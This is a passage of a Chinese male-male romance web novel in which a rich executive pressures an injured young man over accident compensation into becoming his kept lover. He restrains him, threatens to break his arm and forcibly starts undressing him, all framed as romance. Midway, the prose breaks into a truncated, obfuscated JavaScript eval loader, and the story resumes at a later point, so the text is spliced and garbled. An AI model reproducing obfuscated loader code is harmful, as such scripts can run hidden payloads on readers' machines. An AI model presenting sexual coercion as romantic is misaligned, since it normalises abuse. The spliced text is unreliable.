晚上七点整,元丰准时到达了一家看不懂英文名的咖啡厅。这回打车过来的二十多块钱,他大方地没计算在赔偿款内。进咖啡厅之前,他先给贺总打了通电话。 “贺总,我到咖啡厅门口了,位置是哪儿啊?” “商务区走到底,不认识的话找服务员带路。” “好,我马上到。” 元丰在商务区最里边的隔断包间内,看到了要找的人,他脚步一顿。贺总梳着男人味儿十足的侧分背头,穿着烟灰色的衬衣,那西裤和皮鞋怎么看都跟自己不是一个级别的。 连衬衣都掩盖不住的健硕体格,真好看。 身体奇怪的感觉好像又来了,他立刻停下,站在原地没敢动。 贺颜估计时间差不多了,抬头一看,眼底有转瞬即逝的惊讶。他没想到元丰这个小白脸为了见面,还特地打扮了一番,那衣服裤子看着像是新的。 元丰看到贺总带有打量的眼神,越发觉得自己穿错衣服了,后悔没把家里的衬衣西裤给穿出来,这样谈起赔偿才更有气势。 必须拿出在公司里的经理威严! 他淡定自若地走进包间,笑着招呼:“贺总,久等了。” “没有,是我到早了。”贺颜收回目光,指了指对面,“坐。” 元丰坐下来,不动声色地将左手伸到桌下,果然不是错觉,身体真出毛病了。 他快速从公文包里拿出计算过的赔偿资料和病历等乱七八糟的单子,先把一张纸递过去:“贺总,请过目。有问题咱们再沟通。” 贺颜看都没看,直接将纸移到一旁,问:“喝点什么?” “贺总你太客气了。”元丰连忙摆手,又从公文包里掏出一瓶农夫山泉,“我带水了,咱们直奔主题吧。” “……”贺颜盯着那张白净秀气的脸蛋看了几秒,元丰猴急的样子倒不像是来约会的。 元丰身体前倾,脑袋凑过去,左手指着纸上的内容开始讲解:“你看啊,我现在右臂骨折没法骑电动车,坐公交有时候特别拥挤,影响恢复,所以只能打车上班了。这打车一天来回得四十块钱,所以后面得出的一千八就是交通费。然后啊,我的工资每个月都不固定,是按着业绩来的。我把我一整年的工资加了个总和,除以十二,平均下来是六千多,我就给你算个整数。” 贺颜先是盯着元丰那张嘚啵个没完的嘴看了小片刻,随后目光下移,把能看的不能看的都细细打量了一遍。 “误工费肯定是要算两个月的,也就是一万三。我后期还得去医院做个复查,复查的医药费我大概计算了下。我先把病历什么的给你过……”元丰讲得正起劲,听不到贺总的声音,便抬头看去,发现对方一直在盯着他,到嘴边的话突然就卡着说不出来了。 硬朗帅气的五官近在眼前,甚至还能闻到贺总身上飘来的淡淡清香。身体又不对劲了,他慌得立刻坐正身体,快速道:“详细的我都写在纸上了,加起来一共是一万六。你看是转账还是给我现金,都行。” 贺颜察觉到元丰神情的变化,头回有些没看懂这个小白脸的骚操作。车祸那天还一脸痴迷地盯着自己看,接下来的发展,怎么着也不该是这种走向。 他拿起桌上的纸,看了两眼,皱眉道:“你这都什么鬼画符?” “……”元丰难受得要死,“你看数字就行,金额有什么问题都可以提。” 这怎么还越说越急了?贺颜端起咖啡,慢条斯理地喝了一口之后,才问:“着急约会?” “啊?”元丰被贺总问得一愣,“我不约会啊。” 贺颜又问:“有对象吗?” 元丰弄不懂贺总问这些干什么:“贺总,你看看赔偿款有没有什么疑问,纸上有我的银行卡号,你打钱给我也行。” 贺颜注意到元丰的左手一直放在桌下,似乎在按着某个地方,这动作似曾相识。 “又尿裤子了?” 元丰被这话吓一跳,一脸惊愕地看着贺总,接不上话了。 贺颜从元丰惊愕的神情中确定了事实,这小子又尿裤子了。不过看着朝气蓬勃的小白脸,他这回倒没觉得倒胃口。 本想确认下厉不厉害,没想到居然被发现了。元丰只惊愕了几秒,迅速恢复镇定。 他举止自然地摸了摸肚子,而后尴尬地笑了两声:“贺总还真会开玩笑啊,我就是肚子突然有些疼,想方便。” “洗手间往前走,右转。”贺颜说完理了理衬衣袖口,“走吧,我带你过去。” “……”元丰抬起头,刚想说不用,熟悉的强烈压迫感又来了,他心里一紧,赶忙低头说道,“不着急,我再酝酿酝酿。咱们继续谈这个赔偿问题,还有别的疑问没?” 贺颜察觉到元丰的紧张,又坐了回去,拿起桌上纸认真看起来。 令人不适的压迫感消失了,元丰这才松口气。想自己堂堂一个业务经理,什么大风大浪没见过?怎么能因为贺总过于高大结实就心慌呢? 他在心里总结了下原因,主要是还没拿到钱,等钱一到手,爱他妈谁谁,什么贺总李总狗总的。 “剩余一千二是什么费用?” 元丰实话实说:“这一千二是生活困难补偿款,你看我伤的是右手,吃喝拉撒睡都不太方便,当成精神损失费也行。” 贺颜扫了眼正在低头翻资料的元丰,配上那青春活力的打扮,整个人稚嫩不少。 “我给忘了算这个。”元丰从包里拿出一张有些旧的红色收据递给贺总,“这是我电动车的收据,上面价格是两千六,你看一下。刚才一万六再加电动车的一千七,总共是一万七千七。” 穿成这样,还真的就只是过来算钱。贺颜懒得再说下去,切入主题:“一千二的补偿款有点少。” 元丰以为自己听错了,不确定地问:“一千二有点少?” 贺颜:“误工费算了两个月,生活困难补偿款六百一个月?” 元丰没想到贺总挺善良,心中不免有些窃喜。他不好意思地笑了笑:“这么一说,好像是有点少,那依贺总看,给多少合适啊?” 贺颜盯着那张笑脸,这才注意到元丰还有颗小虎牙。 元丰被盯得莫名其妙,开始琢磨这个贺总到底几个意思。要是诚心赔钱,为什么东拉西扯地问一些有的没的,是不是想趁机赖账啊?可要是想赖账,还约自己来这么高级的咖啡厅谈什么? 由于没穿裤衩子,他别提多难受了,只想马上回家洗个澡,就在他想问个清楚时,贺总开口了。 “十万。”贺颜缓缓说,“我先支付一个月,剩下的看情况。” “十万?!”元丰惊呼,意识到自己声音过大,迅速闭嘴。 这贺总别是个人傻钱多的神经病吧?再有钱也没这么胡乱造的,而且昨天还为了电动车那一百块钱的来去跟自己讨价还价。 “支票没带。”贺颜拿起手机,边发短信边说,“我发个地址给你,明晚过来拿。” 支票?? 操,搞了半天,原来真的就是为了装个逼。元丰这会儿是一点耐心都没了,如果要债还得上赶着巴结讨好,那不如直接报警处理。 他呵了一声,说:“贺总真有钱啊,干脆给我一百万呗?” “一百万贵了点。”贺颜盯着元丰,平静地说,“还是个会尿裤子的。” “你他妈……”元丰被刺激得直接爆粗,奈何咖啡厅是安静的场所,他赶紧压低声音,继续骂,“你他妈到底几个意思?这钱你还赔不赔了?你要诚心想赔,现在就赶紧把一万七千七转给我,不诚心就别怪我报警!” “这嘴,确实不太干净。”贺颜说着,突然站起身绕到元丰那儿。对方果然被吓得瞬间扯住T恤下摆,试图遮掩什么。 压迫感再次来袭,元丰不爽地回怼:“你他妈管我干不干净呢?我懒得跟你废话,这就出去报警!” 他快速收拾着桌上的东西塞进公文包里,随后拿公文包挡着自己站了起来。 贺颜在元丰慌乱的动作中看清楚了,卡其色的休闲裤有一处颜色确实变深了。 他盯着因生气而涨红脸的元丰,笑了:“怎么还急眼了?一万七千七照给,包养费十万一个月。” “……”元丰呆愣了两秒,“你说什么?” “坐下再谈。”贺颜说着,在元丰身边的棕色沙发上坐了下来。 打死元丰都想不到,有生之年居然会遇上一个说要包养他的男人,还十万一个月。他想起同事方远的调侃,再结合贺总说过的话,心里越发痛恨起自己这一身细皮嫩肉和秀气的脸蛋。 看着拦住去路的高大男人,他很想破口大骂,话到嘴边立刻又憋了回去。看来贺总并不是想赖账,只是想包养他,那就没必要报警处理了,忒耽误事儿。他大脑快速运转,迅速想出了应对之策。 俗话说,小不忍则乱大谋。 就算要骂,等拿到这笔小两万的赔偿款,再骂也不迟。 元丰坐下来,呵呵笑了两声说:“原来是这么一回事儿啊!贺总你也不早说,我还以为你想赖……那啥呢。” 贺颜很满意元丰的态度,问:“喝点什么?” “贺总别客气,我不爱喝咖啡。”元丰重新打开公文包,拿出那瓶农夫山泉放在桌上,一副准备继续谈下去的架势。 “我会安排一个住处给你。”贺颜继续切入主题,“其他的要求会在合同里说明。” 元丰应付着点头:“行,我知道了。” “谈过恋爱吗?”贺颜又问。 元丰脑子里就想着怎么把钱弄到手,应付一下也不吃亏。他摇头:“没谈过。” “是处么?” 元丰垂着的左手握成拳,他觉得这贺总八成是脑子有问题。自己恋爱都没谈过,上哪儿破去? “我是。”他赶紧岔开话题,“贺总,你有微信吗?” “没有。”贺颜不喜欢跟情人有过多的联系方式来往。 元丰现在就想拿到自己的赔偿款,这他妈难搞了。他又问:“银行app总该有了吧?” “也没有。” “……” 真是操了,这有钱人吃喝拉撒难道全靠支票吗?看来不应付到明晚是拿不回这个钱了。 咖啡厅里的中央空调打得有些冷,元丰的裆口此刻凉飕飕的,被冰冷的面料贴着,难受得只想马上回家。 “那我明晚是不是就可以拿到赔偿款了?” “可以。”贺颜见元丰轻轻地蹭了下腿,笑着问,“这么大个人了,怎么老爱尿裤子?” “……”元丰面不改色地胡诌道,“来的路上水喝多了,一时没憋住。” “上回也是水喝多了?” 元丰就猜到是因为撞车那次才被贺总给发现的,他含糊应了声:“既然谈妥了,那我明晚再找贺总拿钱。” “等等。”贺颜指了指元丰的公文包,“把笔和纸拿出来,先签个临时合同。” 元丰好歹是个业务经理,合同哪是能乱签的?就算包养合同在法律上无效,他也不想乱签,知道贺总是想约束他。 于是他笑着婉拒:“我那都是废纸,再说明晚就能签正式合同了,不着急的。” 贺颜没再坚持。 元丰刚想说要回去,腰间突然多了一只蹄子。低头一看,贺总骨节分明的大手不知道什么时候伸了过来。他本能地想要抗拒,奈何没地方躲,只能用左手去扯,却被贺总的手直接握住并包了起来。 “瘦了些。” 爆棚的男人味儿夹杂着沉稳的木质烟草香将元丰笼罩在狭小的空间里,身体好像又好犯病了…… 年轻人低着头没有反抗,贺颜放开他的手,继续摸上那细腰:“以后多吃点。” 元丰瞬间一激灵,现在别说骂人,他想锤死贺总的心都有了。 贺颜收回手,站起身:“走吧,我送你回去。” 元丰坐在沙发上没敢动弹:“贺总你先走吧,我还想再坐会儿。” 贺颜一看那别扭的坐姿立刻明白了,他还算贴心地说道:“走我前面,我给你挡着。” 元丰权衡一番,咬牙站了起来。反正贺总都知道他尿裤子了,大不了就说小便失/禁呗。 贺颜看到棕色的软沙发垫上,湿了一小片,颜色很深。元丰顺着贺总的目光看去,脸当即黑了。 “抽空去医院检查下身体。”贺颜说,“医药费我给你报销。” 元丰:“……” 无形的压迫感从身后传来,元丰加快步伐。快到咖啡厅正门口时,他忍不住问道:“贺总,你这身材还挺魁梧啊,身高有两米吗?” “差五厘米。”贺颜微低头,能看到元丰头顶的发旋,随口问,“有一米七吗?” 元丰心里正在羡慕贺总高大健硕的体格,就被对方的问题给刺激到了。 他立刻说道:“那必须有啊!我一七五。” 贺颜盯着元丰脚上的杂牌运动鞋,调侃道:“穿着鞋算的?” “……”元丰脸色顿时有些难看,他是穿了一双可以增高五厘米的运动鞋。 他也不愿意卡死在一米七啊,但凡是个男的,谁不想拥有一副强健的体魄? 贺颜拉开咖啡厅的玻璃门,“别愣着,先出去。” 元丰觉得贺总好像在笑话他,心里越想越不痛快,边走边感慨:“真是人各有命啊,还是贺总会投胎。” 贺颜从元丰的话里听出了讽刺,不怒反笑:“确实,投胎是门技术活儿。” “……” 要说不羡慕不嫉妒,那是不可能的!元丰甚至恨了起来。大家都是人,凭啥贺总是个男人味儿十足的高富帅,而他只是个……不提也罢。 俩人一前一后走出了咖啡厅,元丰看着已经黑了的天色,转身说道:“贺总,我自己打车回去,就不麻烦你送了。” 新鲜感正是最热乎的时候,贺颜难得体贴地想送小情人回家。他上前揽住元丰,拥着往停车场的方向走:“还跟我客气?” 要是在听到“包养”二字之前,元丰没准会蹭一趟顺风车,省个打车钱。 可现在的贺总在他眼里,就跟不怀好意的大尾巴狼似的,能躲则躲。尤其这还是大庭广众之下,就算是天黑,那也人来车往的。 他吓得赶紧往旁边躲:“贺总,我真不是跟你客气。而且我住龙河新村,跟你肯定不顺路。” 龙河新村虽然在城区范围内,但都是些等着拆迁的八十年代老破楼,跟有钱人住的高档公寓以及别墅完全是两个方向。 元丰想起那个叫乔安的男人,对方带有嫌弃的目光他到现在还记得清楚,贺总这样的人,一定也受不了龙河新村的环境。 “顺路。”贺颜说,“我之前去过,走吧。” 不光顺路,还去过,失策了。元丰看见路边停着一辆共享单车,灵机一动:“那也不能麻烦贺总,现在不都提倡绿色出行吗?我骑单车回去,正好锻炼锻炼身体。” “单手骑车?” “……”元丰补充道,“对啊!我单手骑车溜得很。” “瞎折腾什么?”贺颜一把拉住要走的元丰,皱眉道,“你把车座弄湿了,别人怎么骑?” “……”元丰想把手抽回来,抽不动,“那我打车,不要你送。” 这么不给面子的情人,还是头一个。贺颜捏着元丰细嫩的手腕,语气变冷:“我这还没操-你,就开始推三阻四了?” 元丰被这话刺激得又想口吐芬芳,他看向贺总那张稍显严肃的面孔,知道自己把人给惹毛了。无形的压迫感比刚才在咖啡厅里时还要让人不舒服,他被迫同意了。 要不是为了赔偿款,自己何至于忍气吞声? 元丰看着手腕上的那只大手,怎么都想不到自己居然会被男人给牵着走。 “我只允许你闹这么一次脾气。”贺颜拉着元丰叮嘱他,“下不为例。” 元丰敷衍地哦了两声,说:“明白了,你车在哪儿啊?怎么还没到。” “急着回家换裤子?” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他点点头:“算是。那个搬家的事儿,能不能缓两天啊?” 贺颜扫了眼元丰吊在胸口的右臂,做了短暂的考虑:“明天给你安排个人,有什么重要的东西让他帮着收拾,你这手别动了。” 一听这话,元丰迅速找了个借口:“我明天得去公司办请假手续,后天再搬,行不?” 红灯跳过,贺颜说了行。 元丰松了口气,坚持熬到明晚就完事儿了。 接下来的路程里,车里一直很安静。元丰偷偷打量起中控内饰,越看越觉得酷炫无比。他两年前考了驾照,却一直没正儿八经地摸过汽车。 本着先有房后有车的顺序,他连二手车都没舍得买,而且养车还增加开销。欣赏完汽车内饰,他又偷偷瞄了眼正在开车的贺总,那娴熟的驾驶操作,一看就是个老司机,技术真不错。 唉……真是人比人,气死人。 元丰进社会早,兢兢业业打拼多年,羡慕过不少人。除了接触过的老板和经理之外,他第一次这么靠近有钱人。要说五六十岁也就算了,偏偏还是个年轻的。 “看什么呢?” “啊。”元丰赶紧挪开视线,打起哈哈,“我就随便看看,这方向盘看着挺酷啊。” “有驾照吗?” “有。” “嗯。”贺颜说,“等胳膊好了,给你开。” “不用不用。”元丰可不敢开这么贵的车,听说百万级别的奔驰,一个车灯就得好几万,要是磕了碰了,赔都赔不起。 贺颜笑了笑,没说话。 “手生,估计都不会开了。”元丰有些好奇贺总的年纪,于是问,“贺总,你多大啊?” “你看着像多大?” 元丰侧目,仔细地看了几眼正在开车的男人,猜道:“二十七八。” “还年轻了几岁,不错。”贺颜说。 “……”元丰真是没看出来,他没再问具体年龄,左右不过三十出头。 也不知道自己三十出头的时候,能不能像贺总这么有钱。 元丰不想让贺总知道具体住址,上回那个乔安也只是把他送到小区门口而已。 快到龙河新村时,他说:“贺总,你靠边停车吧。前面路不好走,不用再送了。” 贺颜对这块地方还算熟悉,他靠边停了车。 元丰刚要解安全带,见贺总也在解,赶紧补充道:“真的不用送了。” 贺颜无视元丰说的话,直接下了车。 “……”元丰左思右想,算了,知道具体门牌号又怎么了?明晚拿到钱就跟贺总说清楚。 这买卖不成,仁义还在。 贺颜看着破败的老楼房,老新村里的环境很糟糕,路过垃圾桶时还能闻到刺鼻的酸臭味儿。有野猫正在垃圾桶旁找吃的,看到他们后,迅速窜不见踪影。 他伸手揽过元丰:“在这儿住多久了?” 为了一时的风平浪静,元丰咬牙忍了,在心里计算了下年头:“快三年了。” “嗯。”贺颜摸上元丰的肩胛骨,感觉都没几两肉。他明知故问:“现在在做什么?” 说到这个,元丰就来劲了,谦虚地说:“在做业务经理,公司是做金属配件的。我这手一骨折,耽误不少事儿呢!” 贺颜从元丰谦虚的口吻里听出了些不一样的,顺势问:“看着岁数不大,都做上业务经理了?” 元丰憋不住了,嘿了一声:“做了大半年了,我二十,。这个岁数确实年轻了些,当初还有业务员不服我,闹到总经理那儿。不过现在都被我给收拾服帖了,个个听话。” 贺颜夸道:“你还挺牛逼。” 元丰不敢得意忘形,继续谦虚道:“还凑合,马马虎虎吧。” “怎么给收拾服帖的?” “那傻逼……呃……我是说那业务员不是不服气吗?我就跟他一块儿找到总经理办公室。”元丰早就忘了肩膀上的大手,越说越来劲。 “我进公司快三年,不是我吹,他们做业绩没人做得过我,总经理肯定喜欢我啊!然后我就跟那傻逼说,给你一个月的时间,有本事你就超过我,超不过我就别他妈叽叽歪歪。” “结果多明显啊,你说他哪里是我对手?后来自己辞职不干了,走之前还不服气呢!骂我小白脸,操!” 听到小白脸三个字,贺颜笑出了声。 元丰慷慨激昂地说了一堆,结果没听到想听的,只听到贺总的低笑声。 “你笑啥?” “没有。” 俩人说着聊着,就到了23号楼。元丰这才想起自己肩膀上的手,往后退了一步:“我到了,谢谢啊。” “不请我上去坐坐?”贺颜问。 昏暗的老新村里,元丰只能借着月光看清贺总的脸,他见贺总正盯着自己看,心里咯噔了一下。 妈的,光顾着聊天,忘记贺总是个想包养他的同性恋了。 “下回吧,家里太乱了!”他找辙回避,“你看我这手都残废了,没法收拾屋子。” 贺颜没再勉强:“后天我安排人过来,在家好好养着。” 元丰应付着点头:“行啊,你看着弄。那我先上去了啊?” “去吧。” 元丰没敢回头看,忍着不适快步上了楼梯,一到五楼的家,他第一时间检查自己的毛病。 这种现象以前不是没有过,所以他讨厌这个麻烦的玩意儿,可最近这几天,很明显不对劲,不知道是不是身体出了什么毛病,他嫌弃地把裤子扔进了洗衣盆里。 要不要去医院做个具体检查啊…… 先网上查查看再说吧。不到万不得已,元丰并不想去医院。他打开手机里的浏览器,试着搜索自己的特殊情况,自动跳出来不少女性方面的生理知识,有说是因为穿的裤子透气性不好或者过紧,要不就是腹部受凉或者劳累过度刺激,再往下扯就是什么异常啊各种炎症等乱七八糟的。 这他妈哪个都不对啊! 元丰仔细回忆了下过程,发现个奇怪的现象。好像是从见到那个肌肉男开始,再到遇见贺总,一看见强壮的男人,似乎就会这样。 他觉得一定是因为太过羡慕别人的身材,所以身体才会有这种反应。于是换了个方式,结果查了老半天,答案是他发春了?网络医生还建议他可以适当自己解决。 开什么玩笑。 这怎么看,都不像啊。 由于这两天没穿内裤出门,省去了每日必做的流程,就是骨折的右手让元丰洗漱变得异常艰难,连换下来的衣服都没办法手洗了。 洗完澡后,他继续费劲地用左手在水池子里搓洗着换下来的衣裤。 白白多了一周的假期,元丰在家里闲得发慌,平常就两点一线,没什么娱乐活动,出租房里也没电视和电脑,只装了一个路由器。 躺在凉席上看了近一小时的楼盘信息后,他起床坐公交去了好兄弟许辉打工的修车行。许辉是他的老乡,俩人在这座陌生的大城市相互照应多年,关系堪比亲兄弟。 元丰坐在小马扎上,躲在荫头里。许辉正在修一辆电动三轮车,修得满头大汗。俩人有一搭没一搭地闲聊着,商量着中午吃点什么。 “你那赔偿款拿到了吗?” “今晚能拿到。”说到这个,元丰吐起槽,“还真让你给说对了!就是要给我支票。” “合着你们昨晚白谈啊?”许辉担心道,“一万多块钱还整个支票,那老板不会是个骗子吧?” 元丰自然不能提包养这茬,他摇摇头:“真是骗子就不约我碰面了,那咖啡厅挺高级的,一杯咖啡就要上百。他还要请我喝,我没好意思点。” “不是骗子就行。”许辉开起玩笑,“你看你胳膊骨折,白得一星期休息,又能多挣小两万,值了。” “唉,你以为我乐意休息,要不是总经理关心我伤势非得让我在家歇几天,我今天就去上班了。而且……”元丰说到这里顿住,突然想起了小美。 “而且啥?” 许辉毕竟知根知底,元丰就这么一个能说心里话的。他站起来蹲到许辉旁边,小声说:“我们公司前台的姑娘,送了一身新衣服给我,她有那个意思,我也考虑了老长时间,想跟她处处看。” “这么好的事儿,还考虑?你说你都拒绝过多少个了。”许辉劝他,“我早几百年就跟你说过了,你那毛病不是大问题,你就关着灯呗,黑灯瞎火的,谁看得见?” “那总不能关一辈子啊。”元丰叹气,“我这毛病可能还要不了孩子,这不是耽误人吗?” “我看你工作上倒是挺有脑子的,怎么到这方面就傻不啦唧了?还没处上你就知道自己要跟她过一辈子?别想那么远。” 元丰像是有些被说动,不过比起处对象,他最担心的还是饭碗。 他问许辉:“你说都在一个公司,天天抬头不见低头见的,会不会影响工作啊?” “你这前怕狼后怕虎的,我真服了你。”许辉把卸完的车轮放到一旁,站起来擦了下额头的汗,“等真的处上了,只怕你一天见不到她都浑身难受,在一个公司多好啊。” 元丰想起那身被贺总夸了不错的衣服裤子,一定是小美花心思挑的吧。 他又叹了口气,说:“我不想忽悠人,小美还挺好的……” “榆木脑袋,你还是打光棍吧。” “……” 元丰跟许辉在附近找了个炒菜馆,一想到晚上能拿补偿款,他就高兴地大方请客。许辉也没客气,还多点了俩菜。 吃完,元丰回家睡了个午觉,醒来时窗外的天色已经暗了,赶紧爬起来。 为了避免昨晚发生的尴尬意外,他特地穿上了裤衩,还换了条黑色的速干运动裤。出发前,给贺总发了条短信,说自己大概六点半左右能到。 元丰打车到了短信里提供的地址后,发现是个比较高档的小区,也是元丰压根不敢考虑买的楼盘。 “26单元1601……”他念叨着门牌号,在小区里一路摸索,走了十多分钟才找到26单元,进电梯前收到了贺总回过来的消息。 “我晚点到。你先进去等我,密码326819。” 元丰看完短信内容只有一个想法,这贺总心也太大了,就不怕自己是个小偷吗? 贺颜公司临时有事,耽搁了一会儿,等到锦西湾时,已经七点半。 这套房子是给元丰安排的新住处,他想着那小子早到了也好,可以提前适应下新环境,从地下车库一路上了十六层,楼道声控灯随着电梯门的打开,自动亮了。 他在1601室的门口,见到了蹲在地上的元丰。 3. 第 3 章 元丰蹲在地上刷着帖子,听到脚步声,立刻收回手机站起来,果然是贺总来了。 他招呼道:“晚上好啊,贺总。” “怎么不进去?”贺颜问。 “不合适。”元丰解释,“别人的家,不能随便进。” 贺颜走近元丰,抬手揉了一把他的脑袋:“这房子是给你准备的。” “啊?”元丰被这话吓得扭头避开,他压根就没把贺总之前说过的话放在心上,没想到对方这么雷厉风行。 “明天上午十点会有人过去帮你搬家,受伤期间的一日三餐有保姆过来做。”贺颜说着,在智能锁上输入密码,打开了门。 “……”这他妈何止是雷厉风行? 元丰还想等拿到钱再说清楚,这要再不说,误会大发了!他赶忙婉拒道:“贺总真是太客气了,我自己有地方住。关于那个赔偿款……” “进来再说。” 元丰看着瞬间亮堂的屋子,装修很新很干净,连地砖都透着光。 他问道:“用换鞋吗?” “不用。”贺颜四处看了一圈,说,“房子白天让人打扫过了,主卧衣柜里有按着你身高买的几身衣服裤子,回头自己去试试。” “……” 元丰不知道该说什么了,他只是想来拿赔偿款的啊!唉,要是不谈包养这一茬,其实贺总人还挺好的。 贺颜走到沙发那儿坐下,见元丰站在玄关处发愣,他拍了拍身边的沙发:“过来。” 元丰看到茶几上有类似合同一样的东西,他慢慢走过去,没敢坐贺总拍过的地方,而是挑了边上的单人沙发。 贺颜刚才就察觉到元丰的不对劲,没说什么。他把茶几上的合同跟支票推了过去:“先看看,有什么问题可以问。” “贺总,我就是来拿赔偿——” “先看合同。” 元丰想继续说下去,奈何被打断。算了,给贺总一个面子,看看合同上的内容吧。 他拿起那份包养协议,刚打开就被吓一跳,还以为只有寥寥几笔,结果拟得跟商业合同似的,甲方乙方都来了。 什么甲方为乙方提供住房一套,位置在哪里,水电等乱七八糟的开销都由甲方承担。甲方每月支付乙方生活费十万人民币。 下面就是说什么甲方有需求了,乙方若身体没有不适的情况下,不得拒绝。并且在包养期间,乙方不得与除甲方以外的其他任何人恋爱或上-床,一经发现,后果除了偿还甲方支付的生活费,还要额外进行赔偿。最底下还有好几条注意事项,其中一条内容让他直接吐血。 因甲方没有戴那玩意儿的习惯,故乙方必须到三甲医院做个全面体检,并时刻注意卫生。接到甲方电话时,需提前做好清理。 元丰脸色难看地放下合同,心里不免对贺总高看几眼,还是有钱人会玩啊,连包养都包得如此商业化。 贺颜一直观察着元丰的神色,等他看完,问道:“有什么疑问么?” “呃……”元丰放下合同,“没什么疑问,贺总你这合同拟得挺不错啊!就是有一点我得跟你说清楚。” “既然没疑问,笔在旁边。” “……” 这签了可不得了,退一万步来讲,就算真的接受包养,元丰也不能接受去医院做什么全面体检。他赶紧说道:“贺总,其实我就是来拿赔偿款的,完全没那个意思啊!而且我压根不是同——” “我看着挺好说话的?” “啊?”被打断的元丰一愣,抬眼看向贺总。 四目相对的一瞬间,他立刻垂下视线。初遇时那股令人不适的压迫感又来了,他从沙发上站起来,心里思考着该怎么说,贺总神情太过严肃,看上去好像很生气。 贺颜还是头回碰上这种事儿,他拿起茶几上的支票,站了起来。 “那啥……谢谢贺总的……”元丰快速想着合适的措辞,说道,“谢谢贺总的厚爱啊,但我压根不是同性恋,对男的……肯定是不行的。总之认识贺总很高兴,要不咱们交个朋友你看行不行?” “厚爱都来了。”贺颜笑了一声,直接拉过元丰的手,将支票塞进他手心里,“四舍五入,给你凑了个整。” 低缓的声音响在耳边,元丰摸不准贺总这阴晴不定的态度,他把支票凑到跟前一看,十五万人民币!操,自己打拼六年积攒的存款也不过才十三万多。 这笔钱绝对不能收,他只想要回自己那一万七千七的赔偿款。 “过来把字签了。” 元丰是绝不可能签那份包养合同的,他说:“贺总,支票我先拿走了。等我取完自己的那部分,剩下的都还给你。” 贺颜这两天,确实为元丰费了些心思。这小子要是在咖啡厅的时候就说清楚,他倒也不是非包不可。 元丰转身刚要走,胳膊突然被猛地拽住。他想抽抽不动,只能边扯边解释:“我不是要卷钱跑路,剩余的钱我肯定都还给你!反正你也认识我住哪儿,我的公司在震江路32号,雄威金属材料有限公司。” “闭嘴。”贺颜懒得听这些啰里八唆的废话,一把将元丰拽到自己大腿上,“看在你是处的分上,体检就免了。” 元丰这回真是慌了,慌的同时身体又不对劲了。他用力扯着自己的左臂,忍不住爆起粗口:“妈的,有话好好说行不行啊?赶紧松手!” 贺颜摸上元丰打着石膏的右臂,轻轻地握住:“胳膊不想好了是么?” 元丰听出了贺总话里的警告,火气噌地就上来了。亏他不久之前还觉得贺总人挺好的,好个毛线! “有能耐你就把这石膏给捏碎了!” 贺颜被眼前人的滑稽凶相给逗得心情舒畅,这小鸡崽似的体形压根不是他的对手,他毫不费力地把正在扑腾的元丰给禁锢在怀里,另一只手擒住他细瘦的胳膊:“给这条胳膊也打上石膏,是不是还挺对称?” “对你妈的称!你是不是有毛病啊?”比之前还要令人不适的压迫感将元丰包围,明知实力悬殊,但他依旧做着徒劳的挣扎。 挣扎过程中,他不小心蹭到了贺总微隆的结实胸肌,这下不对劲大发了。 “再让我听到一句脏话……”贺颜话没说完,怀里的人突然停止了挣扎,还紧绷着身子。 他以为自己的警告奏效,伸手摸了摸元丰的小脑袋,“我对你还挺感兴趣的,乖乖把合同签了。” 元丰第一次跟男人贴这么近,混杂着木质烟草香的雄性气息扑鼻而来,是自己没有也羡慕不来的男人味儿。他情不自禁地嗅了一口,他想起昨晚手机上搜到的内容,自己这不也是一靠近猛男,身体就出毛病了吗? 虽然穿了裤衩,可速干运动裤的料子特别薄。妈的,必须远离贺总这个猛男。再这么下去,只怕会弄湿对方的西裤。 “发什么愣?”贺颜顺着元丰的背脊下滑,摸上了他的腰。 “赶紧撒手!”元丰继续挣扎起来,嘴里不忘骂骂咧咧,“你感兴趣关我屁事儿?我签你妈!” “我之前说过下不为例。”贺颜脸色一沉,没了方才的和颜悦色,摸在元丰腰间的手直接改为掐,在听到一声痛叫之后,才笑着说,“也不想再听到脏字儿。” “你妈的!”元丰从没有如此痛恨这副瘦弱的身躯,只恨不得天降神力,让他一拳捶死这个姓贺的男人。 双手没法动,他开始胡乱踢踹。 贺颜没想到元丰性子挺烈,刚想把人拎起来,突然感觉大腿上有湿意。他嫌弃地皱眉道:“又尿裤子了?” 元丰听到这话,愣得没了动作。上一秒刚骂完瘦弱的身躯,下一秒又疯狂骂自己,只后悔昨晚怎么没听网络医生的话,出门前先缓解下。 贺颜头回觉得自己有些重口,怎么就对着一个三番两次尿裤子的小白脸来了兴致。得亏元丰长得眉清目秀,不然还真是倒胃口。 他把腿上的人拎着一块儿站了起来,大腿处的西裤确实被浸湿了,不过也就硬币那么大的面积。 “就尿这么一点,你撒狗尿呢?” “……” 元丰扯了扯被攥紧的左手腕,脑子里快速思考着对策,爆粗只会激化矛盾,得先安抚好贺总才行。 他赶紧笑着说:“贺总,咱有话坐下来好好说,那份合同我没看清楚,能再看一遍不?” “不是说没有疑问吗?”贺颜问。 “因为看得太快了,难免有遗漏。”元丰见有戏,迅速拿出讨好客户的低姿态,“刚才是我太激动了,贺总千万别放在心上。我这嘴啊,该打!怎么能骂人呢你说是不?” 贺颜好像有些明白自己为什么会对这个小白脸感兴趣了,他笑了笑:“合同不用再看了,核心意思就是我想操-你。” “……”元丰脸色又变得难看,“你操别人去行不?” “今晚不碰你,把合同签了。”贺颜有自己的原则,跟元丰在咖啡厅谈妥的那晚,他就安排助理跟上一个情人解除了合同。 被无视的元丰再也忍不下去,操了一声说:“我他妈就多余跟你废话!签你妈了个蛋!” 他就不信了,二十一世纪的法治社会还能没有王法?贺总难不成会拿刀架在他脖子上,逼着他签下包养协议? “胳膊就这么折下去吧。”贺颜阴沉着脸,用力攥着元丰的左手腕,把人直接拖进了卫生间。 “你敢动我一下试试?我回头就报警!!”元丰哪里是贺总的对手,除了骂骂咧咧之外,毫无反抗之力。 贺颜嫌弃元丰刚尿过裤子,他打开水龙头,拿起喷水的花洒对着元丰就是一顿冲刷。 “操!你他妈有病啊!”元丰双脚乱跳却完全躲不掉,裤子被淋了个彻底。 贺颜见冲得差不多,将花洒扔到地上,直接过去上手,“还骂?” 元丰这回是真的慌了,吓得赶紧道歉:“别扯啊贺总,咱有话好好说行不?千万别动手!君子动口不动手啊!你他妈的别……” 看清后贺颜一愣,觉得哪儿怪怪的,似乎缺了点什么。 